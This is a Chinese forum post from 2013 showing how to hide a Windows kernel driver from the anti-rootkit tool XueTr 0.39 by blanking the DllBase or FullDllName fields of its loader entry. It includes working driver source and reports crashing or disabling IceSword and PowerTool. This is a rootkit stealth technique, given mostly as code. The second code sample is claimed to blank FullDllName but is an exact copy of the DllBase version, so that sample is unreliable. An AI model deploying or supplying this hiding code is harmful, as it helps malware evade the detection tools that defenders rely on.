看流星社区

 找回密码
 注册账号
查看: 3026|回复: 1

隐藏驱动,绕过XueTr 0.39检测。

[复制链接]

该用户从未签到

发表于 2013-2-7 08:52:24 | 显示全部楼层 |阅读模式
作者:KiDebug

当系统加载一个驱动时,会为这个驱动建立一个_KLDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。以下是WRK中_KLDR_DATA_TABLE_ENTRY结构体的定义:

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID ExceptionTable;
    ULONG ExceptionTableSize;
    // ULONG padding on IA64
    PVOID GpValue;
    PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT __Unused5;
    PVOID SectionPointer;
    ULONG CheckSum;
    // ULONG padding on IA64
    PVOID LoadedImports;
    PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

其中 PVOID DllBase; 成员指明了驱动的加载基址;
UNICODE_STRING FullDllName;指明了驱动.sys文件的全路径;
所有驱动的结构体通过InLoadOrderLinks成员链接起来,链表头部为PsLoadedModuleList,因此可以通过遍历PsLoadedModuleList来得到所有加载的驱动。
在测试中发现,如果将某一驱动的DllBase或FullDllName.buffer填为0,那么XueTr就不会显示这个驱动,以下是将DllBase填0时的验证代码:

/*
* 【作者:KiDebug】
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

PVOID  pDllBase;

VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count )
{
  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0
}

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//恢复DllBase,以便驱动能顺利卸载
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
  DriverObject->DriverUnload = testUnload;
  pDllBase  =  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;
  IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);
  return STATUS_SUCCESS;
}


用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后用XueTr查看“驱动模块”,里面没有test.sys;用IceSword.exe 1.22查看“内核模块”,可以看到test.sys的存在。
以下是将FullDllName.buffer填为0时的验证代码:

/*
* 【作者:KiDebug】
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

PVOID  pDllBase;

VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count )
{
  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0
}

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//恢复DllBase,以便驱动能顺利卸载
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
  DriverObject->DriverUnload = testUnload;
  pDllBase  =  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;
  IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);
  return STATUS_SUCCESS;
}


先用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后双击打开IceSword.exe 1.22,提示“程序初始化失败,错误代码1”,然后提示“无法初始化,程序退出”;双击打开PowerTool.exe 3.6.2,蓝屏。

打开XueTr.exe 0.39,查看“驱动模块”,显示有可疑驱动的存在,如果在WinDBG中手动将ntkrnlpa.exe对应的FullDllName.buffer填为0,XueTr不会显示ntkrnlpa.exe的存在。


浓缩版:
1:DllBase填0,无可疑驱动
2:FullDllName.buffer填0,有可疑驱动
3:XueTr 0.39
4:没有建立DeviceObject

该用户从未签到

发表于 2021-9-2 01:23:41 | 显示全部楼层
支持楼主,支持看流星社区,以后我会经常来!
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-26 05:08

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表